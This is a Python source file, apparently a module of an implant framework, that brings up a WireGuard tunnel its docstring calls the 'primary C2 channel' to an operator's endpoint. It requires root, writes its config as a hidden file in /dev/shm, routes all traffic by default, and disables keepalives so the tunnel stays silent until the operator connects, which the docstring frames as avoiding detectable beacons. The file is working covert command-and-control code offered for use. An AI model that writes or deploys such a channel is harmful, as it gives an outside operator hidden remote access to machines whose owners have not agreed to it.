#!/usr/bin/env python3
"""WireGuard module — primary C2 channel.

Self-hosted WireGuard tunnel to operator endpoint.  PersistentKeepalive = 0
means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats,
no coordination servers.  The tunnel activates instantly when the operator
sends a packet.
"""

import logging
import os
import subprocess
import tempfile
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)

WG_INTERFACE = "wg0"
HEALTH_CHECK_TIMEOUT = 5  # seconds


class WireGuard(BaseModule):
    """Primary C2 — WireGuard tunnel to operator's self-hosted endpoint."""

    name = "wireguard"
    module_type = "connectivity"
    priority = -200
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._interface = WG_INTERFACE
        self._config_path: Optional[str] = None
        self._endpoint: Optional[str] = None
        self._peer_allowed_ips: Optional[str] = None
        self._connected = False

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
        if not wg_cfg:
            logger.error("No wireguard config in bigbrother.yaml")
            self.state.set_module_status(self.name, "error")
            return

        self._endpoint = wg_cfg.get("endpoint")
        private_key_file = wg_cfg.get("private_key_file")
        peer_public_key = wg_cfg.get("peer_public_key")
        self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0")
        listen_port = wg_cfg.get("listen_port", 51820)
        address = wg_cfg.get("address", "10.0.0.2/24")

        if not all([self._endpoint, private_key_file, peer_public_key]):
            logger.error("wireguard config missing required fields: endpoint, "
                         "private_key_file, peer_public_key")
            self.state.set_module_status(self.name, "error")
            return

        # Read private key
        try:
            private_key = Path(private_key_file).read_text().strip()
        except (OSError, IOError) as exc:
            logger.error("Cannot read WireGuard private key: %s", exc)
            self.state.set_module_status(self.name, "error")
            return

        # Write transient WireGuard config
        self._config_path = self._write_config(
            private_key=private_key,
            address=address,
            listen_port=listen_port,
            peer_public_key=peer_public_key,
            endpoint=self._endpoint,
            allowed_ips=self._peer_allowed_ips,
        )

        if not self.up():
            logger.error("Failed to bring up WireGuard interface")
            self.state.set_module_status(self.name, "error")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self._connected = True

        self.state.set_module_status(self.name, "running", pid=self._pid)
        self.bus.emit("CONNECTIVITY_CHANGED",
                      {"module": self.name, "state": "up",
                       "endpoint": self._endpoint},
                      source_module=self.name)
        logger.info("WireGuard tunnel up — endpoint %s", self._endpoint)

    def stop(self) -> None:
        if not self._running:
            return

        self.down()
        self._running = False
        self._connected = False

        # Cleanup transient config
        if self._config_path and os.path.isfile(self._config_path):
            try:
                os.unlink(self._config_path)
            except OSError:
                pass

        self.state.set_module_status(self.name, "stopped")
        self.bus.emit("CONNECTIVITY_CHANGED",
                      {"module": self.name, "state": "down"},
                      source_module=self.name)
        logger.info("WireGuard tunnel down")

    def status(self) -> dict:
        connected = self.is_connected()
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "connected": connected,
            "endpoint": self._endpoint,
            "interface": self._interface,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    def health_check(self) -> bool:
        if not self._running:
            return False
        return self.is_connected()

    # ------------------------------------------------------------------
    # WireGuard operations
    # ------------------------------------------------------------------

    def up(self) -> bool:
        """Create wg interface, apply config, bring up."""
        try:
            # Add WireGuard interface
            subprocess.run(
                ["ip", "link", "add", "dev", self._interface, "type", "wireguard"],
                check=True, capture_output=True, timeout=10,
            )
        except subprocess.CalledProcessError:
            # Interface may already exist — try to continue
            logger.debug("Interface %s may already exist, continuing", self._interface)

        try:
            # Apply WireGuard config
            subprocess.run(
                ["wg", "setconf", self._interface, self._config_path],
                check=True, capture_output=True, timeout=10,
            )

            # Assign address from config
            wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
            address = wg_cfg.get("address", "10.0.0.2/24")
            subprocess.run(
                ["ip", "addr", "add", address, "dev", self._interface],
                check=True, capture_output=True, timeout=10,
            )

            # Bring interface up
            subprocess.run(
                ["ip", "link", "set", "up", "dev", self._interface],
                check=True, capture_output=True, timeout=10,
            )

            logger.info("WireGuard interface %s is up", self._interface)
            return True

        except subprocess.CalledProcessError as exc:
            logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace'))
            self._cleanup_interface()
            return False
        except subprocess.TimeoutExpired:
            logger.error("WireGuard command timed out")
            self._cleanup_interface()
            return False

    def down(self) -> bool:
        """Bring down and remove wg interface."""
        try:
            subprocess.run(
                ["ip", "link", "set", "down", "dev", self._interface],
                capture_output=True, timeout=10,
            )
            subprocess.run(
                ["ip", "link", "del", "dev", self._interface],
                capture_output=True, timeout=10,
            )
            logger.info("WireGuard interface %s removed", self._interface)
            return True
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
            logger.warning("Error tearing down WireGuard: %s", exc)
            return False

    def is_connected(self) -> bool:
        """Check if WireGuard tunnel is active by pinging peer through tunnel."""
        if not self._running:
            return False

        try:
            result = subprocess.run(
                ["wg", "show", self._interface, "latest-handshakes"],
                capture_output=True, text=True, timeout=5,
            )
            if result.returncode != 0:
                return False

            # Parse latest handshake timestamp — if it's 0 or missing, no peer
            for line in result.stdout.strip().splitlines():
                parts = line.split()
                if len(parts) >= 2:
                    ts = int(parts[1])
                    if ts > 0:
                        # Handshake occurred — tunnel is alive
                        return True
            # No handshake yet is OK — PersistentKeepalive=0 means tunnel is
            # dormant until operator connects. Interface being up is sufficient.
            iface_check = subprocess.run(
                ["ip", "link", "show", self._interface],
                capture_output=True, timeout=5,
            )
            return iface_check.returncode == 0

        except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError):
            return False

    def get_endpoint(self) -> Optional[str]:
        """Return the configured endpoint address."""
        return self._endpoint

    # ------------------------------------------------------------------
    # Internal helpers
    # ------------------------------------------------------------------

    def _write_config(self, private_key: str, address: str, listen_port: int,
                      peer_public_key: str, endpoint: str,
                      allowed_ips: str) -> str:
        """Write a transient WireGuard config file and return its path."""
        config_content = (
            f"[Interface]\n"
            f"PrivateKey = {private_key}\n"
            f"ListenPort = {listen_port}\n"
            f"\n"
            f"[Peer]\n"
            f"PublicKey = {peer_public_key}\n"
            f"Endpoint = {endpoint}\n"
            f"AllowedIPs = {allowed_ips}\n"
            f"PersistentKeepalive = 0\n"
        )

        # Write to tmpfs if available, else /tmp
        tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
        config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf")

        fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
        try:
            os.write(fd, config_content.encode())
        finally:
            os.close(fd)

        return config_path

    def _cleanup_interface(self) -> None:
        """Best-effort cleanup of a partially-created interface."""
        try:
            subprocess.run(["ip", "link", "del", "dev", self._interface],
                           capture_output=True, timeout=5)
        except Exception:
            pass
